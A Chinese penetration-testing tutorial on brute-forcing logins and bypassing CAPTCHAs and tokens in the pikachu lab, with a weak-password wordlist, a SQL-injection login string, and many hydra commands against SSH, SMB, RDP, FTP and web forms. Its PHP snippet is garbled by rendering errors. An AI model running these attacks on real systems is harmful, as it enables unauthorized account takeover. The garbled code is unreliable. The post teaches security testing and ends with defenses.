暴力破解及验证码安全_bruter下载

1、暴力破解注意事项
  • 1、破解前一定要有一个有效的字典(Top100 TOP2000 csdn QQ 163等密码)

  • 2、判断用户是否设置了复杂的密码

  • 3、网站是否存在验证码

  • 4、尝试登录的行为是否有限制

  • 5、网站是否双因素认证、Token值等等


1.1可利用字典生成器软件生成:

40e139f559ab4dc68183d7443b6e5690.png

也可以使用在线平台生成密码字典:

(1)、https://www.bugku.com/mima/

(2)、https://www.wetools.com/password-generator

(3)、https://suijimimashengcheng.bmcx.com/

(4)、https://api.bducds.com/lab/guess/


1.5、网站是否双因素认证、Token值等等

用抓包工具查看是否有token值;双因素认证查看登录是的需要验证码;

可以尝试用sqlmap工具检测查看是否有注入点;


2、登录页面可能产生那些漏洞
  • 注入点及万能密码登录

  • 弱口令暴破

  • 用户名可枚举:不安全的用户提示,一般提示用户名不存在或密码及验证码错误

  • 查看登录页面源代码,是否存在敏感信息泄露

  • 不安全的验证码

  • 在注册帐号的时候是否是否存在不安全的提示

  • 不安全的密码,在注册帐号的时候,密码没有限制复杂度

  • 在暴力破解的时候未限止ip,锁定用户

  • 一个帐号可以在多地登录,没有安全提示

  • 帐号登录之后,应该具备超时功能

  • 任意无限注册帐号

  • OA、邮件、默认帐号等相关系统,在不是自己注册的情况下,应该在登录之后要强行更改密码

  • 逻辑漏洞,任意密码重置

  • 越权漏洞,纵向,横向越权

  • 数据包含有敏感信息泄露,如cookice、内网IP地址

  • 明文传输,密码为明文,未使用https证书

  • 任意文 件下载

  • 框架漏洞,如stuts2、Thinkphp、apache log4等

  • 中间件漏洞:weblogic、Apcahe、Tomcat、Jboss等

  • 数据库漏洞,如弱口令、提权漏洞、溢出漏洞

  • 第三方应用服务所产生的漏洞,如443端口心脏滴血、873端口Rsync未授权访问、6379端口未授权访问、11211端口Memcahe端口未授权访问、111NFS充许网络资源共享

  • 目录暴破:获取敏感文件或目录


登录页面漏洞

强制去除字符限制、显示隐藏表单等方式:

如:百度一下,你就知道 (baidu.com)

用bp抓包工具–代理–勾选相关选项–刷新页面d2a15e3bba06407fa094e57be1e3f03d.png

921c8dc1bfb64e0aa7f2d3e1ff68ad92.png


登录页面漏洞

(1)、登录提示

在登陆时候,输入账户及密码提示用户名错误或提示用户名正确密码错误。(中危漏洞)

很容易用用户名字典爆力破解出来。

正确提示:1、用户名或密码错误; 2、登陆失败,请重新登录;3、…


(3)、密码未加密

686441eb363849cf8dc8bf643b38eaa4.png


(3)、注册功能:

因填写内容与数据库交互

容易产生sql注入(没做好过滤的话)、xss、敏感信息泄露、账号批量注册等。

(1)密码未加密;手机号未加*号 :

666f6895ffbf4d68b975d98ffbd789cf.png

(2)注册没有验证码可批量注册:

账户添加变量:

d5f1155a1dff4cfa8bcd647bb0070482.png

粘贴账户字典:

161d47c6488b429797d9b7b55ea6ff00.png 查看结果,成功批量注册:

42ff082a7c3e4f1c86a829183a22d3c0.png


注入点及万能密码登录

如:

正确用户名及密码为:

用户名:yuan

密码:123

844d24922c334903a95f0b36c7d4a8ca.png

用户名sql注入语句,输入错误密码登录:

用户名:yuan’ or 1=1–

错误密码:666

登陆成功:

0e131450fc5342448151442fd34fb30f.png


查看登录页面源代码,是否存在敏感信息泄露

在github上查找是否有此项目源代码或在线文档、网盘,搜索开发人员是否上传到网上过相关内容;查看原代码里面的相关注释,username、password等敏感信息

如:

http://10.0.0.101:90/pikachu/vul/infoleak/findabc.php

9180991e4d8a49d08e6c7f909d6a937f.png

右击网页查看源代码

查到有敏感信息:

e84d3464ca85425d8689f656ca90446b.png


帐号登录之后,应该具备超时功能

如:登陆后长时间未操作,没自动掉线退出。

cd3e000c13e541be9275a9b95cde13a0.png

7cad0290a6b548b6bdfab129cc52fead.png


数据包含有敏感信息泄露,如cookice、内网IP地址

cookice是保存在用户本地,不建议账户名密码存在cookie里。

通过阅览器的密码管理–破解工具–进入查看账户密码【知道管理员账户和密码或专业化工具(如LaZa密码读取工具)】

eec2332bb81e45d09d3411c4d016ebfc.png


任意文件下载

如:网站可以网页登录又可以下载软件登录,右击文件下载链接通过…/下载其他文件。


3、暴力破解分类

3.1、C/S(C客户端/S服务端)

Bruter、hydra等

(1-1)Bruter(系统账户爆破)

工具和字典要放在英文目录下才行

4598a00c496d44ed9970dad0a4c0e24f.png

查看主机地址(10.0.0.101)

e7c9d271f6ea48d6a5041fe814f3dff7.png

选择密码字典,系统爆破:

910c332cbdd94ddaa9279f92cf665471.png

数据库密码爆破:

5711a989d1a84199b19ac31c9e6a89bf.png

(1-2)SNETCracker

可以多个ip(多个ip写到记事本里)

fae81370009a40ff9ac943b44de23197.png

94ae0e6ad4ae4224ae237a83e7159b69.png


(2)hydra(kali系统)

参数:

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]

-R 继续从上一次进度接着破解。

-S 采用SSL链接。

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户,对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写,指定密码破解,少用,一般是采用密码字典。

-P FILE 大写,指定密码字典。

-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。

-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数,默认为16。

-w TIME 设置最大超时的时间,单位秒,默认是30s。

-v / -V 显示详细过程。

server 目标ip

service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

OPT 可选项

使用:

1.手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典

新建user.txt:

vi user.txt

内容为:

administrator

sa

新建password.txt

vi password.txt

内容为:

123456789
a123456
admin
test
123456
a123456789
1234567890
woaini1314
qq123456
abc123456
123456a
5836767
888888
123456789a
147258369
zxcvbnm
987654321
12345678910
abc123
qq123456789
123456789.
7708801314520
woaini
5201314520
q123456
123456abc
1233211234567
123123123
123456.
0123456789
asd123456
aa123456
135792468
q123456789
abcd123456
12345678900
woaini520
woaini123
zxcvbnm123
1111111111111111
w123456
aini1314
abc123456789
111111
woaini521
qwertyuiop
1314520520
1234567891
qwe123456
asd123
000000
1472583690
1357924680
789456123
123456789abc
z123456
1234567899
aaa123456
abcd1234
www123456
123456789q
123abc
qwe123
w123456789
7894561230
123456qq
zxc123456
123456789qq
1111111111
111111111
0000000000000000
1234567891234567
qazwsxedc
qwerty
123456…
zxc123
asdfghjkl
0000000000
1234554321
123456q
123456aa
9876543210
110120119
qaz123456
qq5201314
123698745
5201314
000000000
as123456
123123
5841314520
z123456789
52013145201314
a123123
caonima
a5201314
wang123456
abcd123
123456789…
woaini1314520
admin888
first
123456asd
aa123456789
741852963
a12345678

58797095c4aa4cdcba40df45f20e7898.png

2.破解smb

破解系统账户密码:

hydra -L user.txt -P password.txt -t 1 -vV -e ns 10.0.0.101 smb

[445][smb] host: 10.0.0.101   login: administrator   password: 123456

c47bacfd0d3043e1b9e6a7cb11d1a6be.png

破解成功,直接显示结果。也可以使用 -o 选项指定结果输出文件:

hydra -L user.txt -P password.txt -t 1 -vV -e ns 10.0.0.101 smb -o 1.txt

查看导出内容:

vi 1.txt

cba41dce60ec4e0292b7a43358e64946.png


其它实例:

1.破解ssh:

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
# hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2.破解ftp:

# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3.get方式提交,破解web登录:

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4.post方式提交,破解web登录:

# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form “/admin/login.php:username=USER&password=PASS&submit=login:sorry password”

# hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form “login.php:id=USER&passwd=PASS:wrong username or password”

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示。)

5.破解https:

# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6.破解teamspeak:

# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7.破解cisco:

# hydra -P pass.txt 10.36.16.18 cisco

# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8.破解smb:

# hydra -l administrator -P top100.txt 192.168.0.102 smb

9.破解pop3:

# hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解rdp:

# hydra 192.168.0.102 rdp -l administrator -P top100.txt -V

11.破解http-proxy:

# hydra -l admin -P pass.txt http-proxy://10.36.16.18

12.破解imap:

# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN

# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果

3.2、B/S(B浏览器/S服务器)

(1)基于表单的暴力破解

如:

打开pikachu靶场环境,基于表单的暴力破解–输入账户密码进行登录–用bp抓包:

http://10.0.0.101:90/pikachu/vul/burteforce/bf_form.php

eb223dbb498b4282be3050dc57074255.png

发到测试器–清除变量-假设密码是md5加密–设置密码变量

33565234e393465699b2e5fc4ccac681.png

粘贴破解字典:

6a0025c194314d88b4454152e197b205.png

设置密码变量为md5加密:96a84601851646a2a3d46ada840a535c.png

密码cm5加密设置成功:(

92e1cafc059f4e84b9856be115fc9188.png

(2)基于验证码暴力破解

  • on client常见问题:不安全的前端js实现验证码;不安全的将验证码在cookie中泄露;不安全的将验证码在前端源代码中泄露

  • on server常见问题:验证码在后台不过期,导致长期使用(php默认session是24分钟过期);验证码校验不严格,逻辑出现问题;验证码设计的太过简单和有规律的被猜解

  • 弱验证码识别攻击


例如:pikachu靶场环境

(2-1)验证码绕过(on client)

在用户的浏览器或客户端应用程序中绕过验证码检查的过程

http://10.0.0.101:90/pikachu/vul/burteforce/bf_server.php

右击查看源代码:(使用了<script>标签中的代码可以用来实现前端校验,不与服务器校验)

011884dfde424d95b6f827bb0bffdde2.png

用bp抓包:

899ec41a3c7d4b6ea93c3c7e25da947d.png

username=§admin§&password=§123456§&vcode=§2UH1J§&submit=§Login§

只要第一次抓包输入正确,批量爆破可删除验证码参数(&vcode=§2UH1J);

发到测试器删除验证码参数、设置密码变量,添加密码字典批量爆破:

eea264ffffea4fbbadd5bfc86bd1bc8c.png

b580d6bb74b54337a34b429f612232a0.png

成功密码爆破:

ba4fa0b604db4fda84d64c1df29aebdf.png

709946217d5e4128a1ec2f0ab31a03d3.png

on client常见问题:不安全的前端js实现验证码;不安全的将验证码在cookie中泄露;不安全的将验证码在前端源代码中泄露


(2-2)验证码绕过(on server)

输入账户密码–bp抓包–发到测试器–添加密码变量–密码粘贴爆破字典–开始攻击–全部失败:

54f7b22b39e0447dbd1fd15cf5c92160.png

刷新验证码,新的验证码直接输入bp上–开始攻击:

成功爆破密码:(因php默认session是24分钟过期)

49ed26a70a384186835945fd024dae22.png

on server常见问题:验证码在后台不过期,导致长期使用(php默认session是24分钟过期);验证码校验不严格,逻辑出现问题;验证码设计的太过简单和有规律的被猜解

查看源代码,为后端校验::

if (empty($_POST[‘vcode’])) {
                KaTeX parse error: Expected 'EOF', got '}' at position 58: …             }̲ else { //   …_POST[‘vcode’]) != strtolower($_SESSION[‘vcode’])) {
                    h t m l . = " < p c l a s s = ′ n o t i c e ′ > 验证码输入错误哦! < / p > " ;            / / 应该在验证完成后 , 销毁该 html .= "<p class='notice'>验证码输入错误哦!</p>";                     //应该在验证完成后,销毁该 html.="<pclass=notice>验证码输入错误哦!</p>";          //应该在验证完成后,销毁该_SESSION[‘vcode’]
                }else{

后端校验:服务器端(后端)执行的PHP脚本进行

d38c3101456a4ffdb1a9bc9729c1e60e.png

把源代码  //应该在验证完成后,销毁该KaTeX parse error: Undefined control sequence: \[ at position 10: \_SESSION\̲[̲'vcode'\]取消注释,验…_SESSION[‘vcode’]:`

if (empty($_POST[‘vcode’])) {
                KaTeX parse error: Expected 'EOF', got '}' at position 58: …             }̲ else { //   …_POST[‘vcode’]) != strtolower($_SESSION[‘vcode’])) {
                    $html .= “

验证码输入错误哦!

”;
                    $_SESSION[‘vcode’]
                }else{

7069045ff92c4e279c082f09863fb736.png

重启phpstudy,重新bp抓包爆破密码:

密码破解失败(因验证码用一次销毁一次)

90921213d9814dae8213cbc1820501fe.png

(2-3)弱验证码识别攻击

http://10.0.0.101:86/admin/

77bcbeee7e1148c8bad4894d5e80b120.png

使用pkav验证码验证爆破工具:

beedf4387feb44e5af408553cd76541c.png 账户登录–用bp抓包–复制到pkav目标数据请求包处–

9a2a181da6444409a7b64ef6ef66167f.png

在目标数据–设置密码及验证码变量:

5d51946857e14858a602c6cc902369d0.png 变量设置–选择密码字典:

e9a65b7186634460a1a92dec27ac46c0.png

网站验证码–右击复制图像地址–粘贴到图片型验证码识别【验证码地址】–设置识别范围(此网站只有数字):

2010a6a3e06641fbaed8ed3fe4c58e19.png

重放选项–选择自动跟踪302重定向–验证码长度–重试规则填写网站验证码输入错误的提醒内容

2452aa02d9cf4c5d8066d31aede8447b.png

发包器–启动,成功爆破密码:2a1ced7f13cc411bb08ad6fa45e78081.png


(3)基于Token破解

由于token值输出在前端源代码中,容易被获取,因此也就失去了防暴力破解的意义,一般Token在防止CSRF上会有比较好的功效。

如:pikachu靶场环境

token防爆破?

http://10.0.0.101:90/pikachu/vul/burteforce/bf_token.php

a293406417654930a763300f9b44270a.png

尝试添加密码变量,字典爆破:

全部失败:

26063c4ba2db4f0988ce3ce1cf531f4a.png

设置密码和token变量;破解方式为音叉:

5811bee8314a4e10835a50d50b3cdaee.png

变量1粘贴密码字典:

c2dfa1ee3588435ab305c959e250c8aa.png 变量2有效载荷设置为递归搜索:

238fb8b0081c4b138d1e5d5f0f416169.png 选项里Grep-Extract设置好开始token" value="          结束为" />

99abeb0fa74b4e2a816fef743d42dff0.png 线程设为为1:

6d7ff1739bc842cfb3504c0dbe8671e3.png

登陆成功:

e798b928d5cb4e2485d78881f039a0bf.png

说明:输入上一次响应体的token带入到下一次破解请求体里:

e9d9ef9583924857aa5b5bd5ab8d4aa7.png


4、暴力破解安全防范

    1. 强制要求输入验证码,否则,必须实施IP策略。 注意不要被X-Forwaded-For绕过了!
    1. 验证码只能用一次,用完立即过期!不能再次使用
    1. 验证码不要太弱。扭曲、变形、干扰线条、干扰背景色、变换字体等。
    1. 大网站最好统一安全验证码,各处使用同一个验证码接口。

声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

扫码领取

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值